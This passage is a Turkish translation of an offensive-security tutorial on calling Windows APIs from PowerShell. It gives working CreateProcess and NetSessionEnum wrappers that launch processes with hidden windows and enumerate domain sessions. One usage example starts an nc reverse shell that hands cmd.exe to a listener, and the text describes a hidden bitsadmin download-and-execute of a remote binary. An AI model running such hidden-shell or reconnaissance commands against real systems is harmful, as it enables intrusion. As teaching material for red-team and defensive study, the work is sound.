BOOL WINAPI CreateProcess(
_In_opt_ LPCTSTR lpApplicationName,
_Inout_opt_ LPTSTR lpCommandLine,
_In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes, --> SECURITY_ATTRIBUTES Struct
_In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes, --> SECURITY_ATTRIBUTES Struct
_In_ BOOL bInheritHandles,
_In_ DWORD dwCreationFlags,
_In_opt_ LP**** lpEnvironment,
_In_opt_ LPCTSTR lpCurrentDirectory,
_In_ LPSTARTUPINFO lpStartupInfo, --> STARTUPINFO Struct
_Out_ LPPROCESS_INFORMATION lpProcessInformation --> PROCESS_INFORMATION Struct
);
Kod:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public uint dwProcessId;
public uint dwThreadId;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct STARTUPINFO
{
public uint cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public uint dwX;
public uint dwY;
public uint dwXSize;
public uint dwYSize;
public uint dwXCountChars;
public uint dwYCountChars;
public uint dwFillAttribute;
public uint dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
public struct SECURITY_ATTRIBUTES
{
public int length;
public IntPtr lpSecurityDescriptor;
public bool bInheritHandle;
}
public static class Kernel32
{
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool CreateProcess(
string lpApplicationName,
string lpCommandLine,
ref SECURITY_ATTRIBUTES lpProcessAttributes,
ref SECURITY_ATTRIBUTES lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
string lpCurrentDirectory,
ref STARTUPINFO lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
}
"@
# StartupInfo Struct
$StartupInfo = New-Object STARTUPINFO
$StartupInfo.dwFlags = 0x00000001 # STARTF_USESHOWWINDOW
$StartupInfo.wShowWindow = 0x0000 # SW_HIDE
$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
# ProcessInfo Struct
$ProcessInfo = New-Object PROCESS_INFORMATION
# SECURITY_ATTRIBUTES Struct (Process & Thread)
$SecAttr = New-Object SECURITY_ATTRIBUTES
$SecAttr.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SecAttr)
# CreateProcess --> lpCurrentDirectory
$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
# Call CreateProcess
[Kernel32]::CreateProcess("C:\Windows\System32\cmd.exe", "/c calc.exe", [ref] $SecAttr, [ref] $SecAttr, $false,
0x08000000, [IntPtr]::Zero, $GetCurrentPath, [ref] $StartupInfo, [ref] $ProcessInfo) |out-null
Yukarıda ayarlanan bayraklar, penceresi olmayan bir "cmd.exe" işlemi oluşturmalıdır ve bu da hesap makinesini başlatır. Aslında, cmd'nin “Process Explorer” ile ilişkili bir penceresi olmadığını onaylayabilirsiniz.
Ziyaretçiler için gizlenmiş link,görmek için
Giriş yap veya üye ol.
Açıkçası bu kodu yeniden kullanmak biraz sıkıcı. Ben de bu yüzden yeniden kullanmak için güzel bir fonksiyona girdim.
Kod:
PS C:\Users\Fubar\Desktop> . .\Invoke-CreateProcess.ps1
PS C:\Users\Fubar\Desktop> Get-Help Invoke-CreateProcess -Full
NAME
Invoke-CreateProcess
SYNOPSIS
-Binary Full path of the module to be executed.
-Args Arguments to pass to the module, e.g. "/c calc.exe". Defaults
to $null if not specified.
-CreationFlags Process creation flags:
0x00000000 (NONE)
0x00000001 (DEBUG_PROCESS)
0x00000002 (DEBUG_ONLY_THIS_PROCESS)
0x00000004 (CREATE_SUSPENDED)
0x00000008 (DETACHED_PROCESS)
0x00000010 (CREATE_NEW_CONSOLE)
0x00000200 (CREATE_NEW_PROCESS_GROUP)
0x00000400 (CREATE_UNICODE_ENVIRONMENT)
0x00000800 (CREATE_SEPARATE_WOW_VDM)
0x00001000 (CREATE_SHARED_WOW_VDM)
0x00040000 (CREATE_PROTECTED_PROCESS)
0x00080000 (EXTENDED_STARTUPINFO_PRESENT)
0x01000000 (CREATE_BREAKAWAY_FROM_JOB)
0x02000000 (CREATE_PRESERVE_CODE_AUTHZ_LEVEL)
0x04000000 (CREATE_DEFAULT_ERROR_MODE)
0x08000000 (CREATE_NO_WINDOW)
-ShowWindow Window display flags:
0x0000 (SW_HIDE)
0x0001 (SW_SHOWNORMAL)
0x0001 (SW_NORMAL)
0x0002 (SW_SHOWMINIMIZED)
0x0003 (SW_SHOWMAXIMIZED)
0x0003 (SW_MAXIMIZE)
0x0004 (SW_SHOWNOACTIVATE)
0x0005 (SW_SHOW)
0x0006 (SW_MINIMIZE)
0x0007 (SW_SHOWMINNOACTIVE)
0x0008 (SW_SHOWNA)
0x0009 (SW_RESTORE)
0x000A (SW_SHOWDEFAULT)
0x000B (SW_FORCEMINIMIZE)
0x000B (SW_MAX)
-StartF Bitfield to influence window creation:
0x00000001 (STARTF_USESHOWWINDOW)
0x00000002 (STARTF_USESIZE)
0x00000004 (STARTF_USEPOSITION)
0x00000008 (STARTF_USECOUNTCHARS)
0x00000010 (STARTF_USEFILLATTRIBUTE)
0x00000020 (STARTF_RUNFULLSCREEN)
0x00000040 (STARTF_FORCEONFEEDBACK)
0x00000080 (STARTF_FORCEOFFFEEDBACK)
0x00000100 (STARTF_USESTDHANDLES)
SYNTAX
Invoke-CreateProcess [-Binary] [[-Args] ] [-CreationFlags] [-ShowWindow]
[-StartF] []
DESCRIPTION
Author: Ruben Boonen (@FuzzySec)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
PARAMETERS
-Binary
Required? true
Position? 1
Default value
Accept pipeline input? false
Accept wildcard characters?
-Args
Required? false
Position? 2
Default value
Accept pipeline input? false
Accept wildcard characters?
-CreationFlags
Required? true
Position? 3
Default value
Accept pipeline input? false
Accept wildcard characters?
-ShowWindow
Required? true
Position? 4
Default value
Accept pipeline input? false
Accept wildcard characters?
-StartF
Required? true
Position? 5
Default value
Accept pipeline input? false
Accept wildcard characters?
This cmdlet supports the common parameters: Verbose, Debug,
ErrorAction, ErrorVariable, WarningAction, WarningVariable,
OutBuffer and OutVariable. For more information, type,
"get-help about_commonparameters".
INPUTS
OUTPUTS
-------------------------- EXAMPLE 1 --------------------------
Start calc with NONE/SW_SHOWNORMAL/STARTF_USESHOWWINDOW
C:\PS> Invoke-CreateProcess -Binary C:\Windows\System32\calc.exe -CreationFlags 0x0 -ShowWindow 0x1
-StartF 0x1
-------------------------- EXAMPLE 2 --------------------------
Start nc reverse shell with CREATE_NO_WINDOW/SW_HIDE/STARTF_USESHOWWINDOW
C:\PS> Invoke-CreateProcess -Binary C:\Some\Path\nc.exe -Args "-nv 127.0.0.1 9988 -e
C:\Windows\System32\cmd.exe" -CreationFlags 0x8000000 -ShowWindow 0x0 -StartF 0x1
NONE/SW_NORMAL/STARTF_USESHOWWINDOW
Burada herhangi bir iz bırakmadan sade bir hesap makinesi başlatıyoruz.
Ziyaretçiler için gizlenmiş link,görmek için
Giriş yap veya üye ol.
CREATE_NEW_CONSOLE/SW_NORMAL/STARTF_USESHOWWINDOW
Burada ise cmd yeni bir konsolda başlatıldı ve normal şekilde görüntülendi.
Ziyaretçiler için gizlenmiş link,görmek için
Giriş yap veya üye ol.
CREATE_NO_WINDOW/SW_HIDE/STARTF_USESHOWWINDOW
Burada cmd penceresiz olarak çağrıldı ve bu da greyhathacker domain’ininden bir binary’i yakalamak ve çalıştırmak için bir bitsadmin komutu yürüttü.
Ziyaretçiler için gizlenmiş link,görmek için
Giriş yap veya üye ol.
Netapi32 : : NetSessionEnum
Son örneğimiz için NetSessionEnum API'sine bir göz atacağız. Bu harika küçük bir API mücevheridir. Özellikle yeniden birleştirme söz konusu olduğunda, bir domain kullanıcısının domain’ine katılmış makinelerdeki kimliği doğrulanmış oturumları numaralandırmasına izin verir ve yönetici izinlerini gerektirmez. Giriş kısmında da bahsedildiği üzere, bundan yararlanan harika araçlar var, en önemlileri ise
Ziyaretçiler için gizlenmiş link,görmek için
Giriş yap veya üye ol.
ve
Ziyaretçiler için gizlenmiş link,görmek için
Giriş yap veya üye ol.
araçları. Aşağıdaki komut dosyası, yansıma kullanmaması haricinde Powerview'deki "Get-NetSessions" 'a çok benzer.Kod:
function Invoke-NetSessionEnum {
Invoke-NetSessionEnum -HostName SomeHostName
#>
param (
[Parameter(Mandatory = $True)]
[string]$HostName
)
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
[StructLayout(LayoutKind.Sequential)]
public struct SESSION_INFO_10
{
[MarshalAs(UnmanagedType.LPWStr)]public string OriginatingHost;
[MarshalAs(UnmanagedType.LPWStr)]public string DomainUser;
public uint SessionTime;
public uint IdleTime;
}
public static class Netapi32
{
[DllImport("Netapi32.dll", SetLastError=true)]
public static extern int NetSessionEnum(
[In,MarshalAs(UnmanagedType.LPWStr)] string ServerName,
[In,MarshalAs(UnmanagedType.LPWStr)] string UncClientName,
[In,MarshalAs(UnmanagedType.LPWStr)] string UserName,
Int32 Level,
out IntPtr bufptr,
int prefmaxlen,
ref Int32 entriesread,
ref Int32 totalentries,
ref Int32 resume_handle);
[DllImport("Netapi32.dll", SetLastError=true)]
public static extern int NetApiBufferFree(
IntPtr Buffer);
}
"@
# Create SessionInfo10 Struct
$SessionInfo10 = New-Object SESSION_INFO_10
$SessionInfo10StructSize = [System.Runtime.InteropServices.Marshal]::SizeOf($SessionInfo10) # Grab size to loop bufptr
$SessionInfo10 = $SessionInfo10.GetType() # Hacky, but we need this
# NetSessionEnum params
$OutBuffPtr = [IntPtr]::Zero # Struct output buffer
$EntriesRead = $TotalEntries = $ResumeHandle = 0 # Counters & ResumeHandle
$CallResult = [Netapi32]::NetSessionEnum($HostName, "", "", 10, [ref]$OutBuffPtr, -1, [ref]$EntriesRead, [ref]$TotalEntries, [ref]$ResumeHandle)
if ($CallResult -ne 0){
echo "Mmm something went wrong!`nError Code: $CallResult"
}
else {
if ([System.IntPtr]::Size -eq 4) {
echo "`nNetapi32::NetSessionEnum Buffer Offset --> 0x$("{0:X8}" -f $OutBuffPtr.ToInt32())"
}
else {
echo "`nNetapi32::NetSessionEnum Buffer Offset --> 0x$("{0:X16}" -f $OutBuffPtr.ToInt64())"
}
echo "Result-set contains $EntriesRead session(s)!"
# Change buffer offset to int
$BufferOffset = $OutBuffPtr.ToInt64()
# Loop buffer entries and cast pointers as SessionInfo10
for ($Count = 0; ($Count -lt $EntriesRead); $Count++){
$NewIntPtr = New-Object System.Intptr -ArgumentList $BufferOffset
$Info = [system.runtime.interopservices.marshal]:
$Info
$BufferOffset = $BufferOffset + $SessionInfo10StructSize
}
echo "`nCalling NetApiBufferFree, no memleaks here!"
[Netapi32]::NetApiBufferFree($OutBuffPtr) |Out-Null
}
}
Evde geliştirme testleri için kullandığım küçük, kötü niyetli bir domain kurulumum var. Invoke-NetSessionEnum çıktısını aşağıda görebilirsiniz.
Ziyaretçiler için gizlenmiş link,görmek için
Giriş yap veya üye ol.
Sonuç:
Umarım ki bu konu sizlere Windows API çağrılarını PowerShell komut dosyalarınıza dahil etme hakkında bazı fikirler vermiştir. Bunu yapmak, PowerShell'de gerçekten elde edemeyeceğiniz hiçbir şeyin olmadığı anlamına gelmektedir. Giriş kısmında da bahsettiğim gibi, .NET yansımasını kullanarak çalışma zamanı C# derlemesinden kaçınmanın bir yolu var, bunun nasıl yapıldığını görmek için
Ziyaretçiler için gizlenmiş link,görmek için
Giriş yap veya üye ol.
çerçevesindeki bazı örneklere göz atmanızı şiddetle tavsiye ederim.Unutmayın, sakin kalın ve [Winmm]::mciSendString("set CDAudio door open", $null, $null, [IntPtr]::Zero)!
ORİJİNAL KAYNAK:
Ziyaretçiler için gizlenmiş link,görmek için
Giriş yap veya üye ol.
ÇEVİRMEN:
Ziyaretçiler için gizlenmiş link,görmek için
Giriş yap veya üye ol.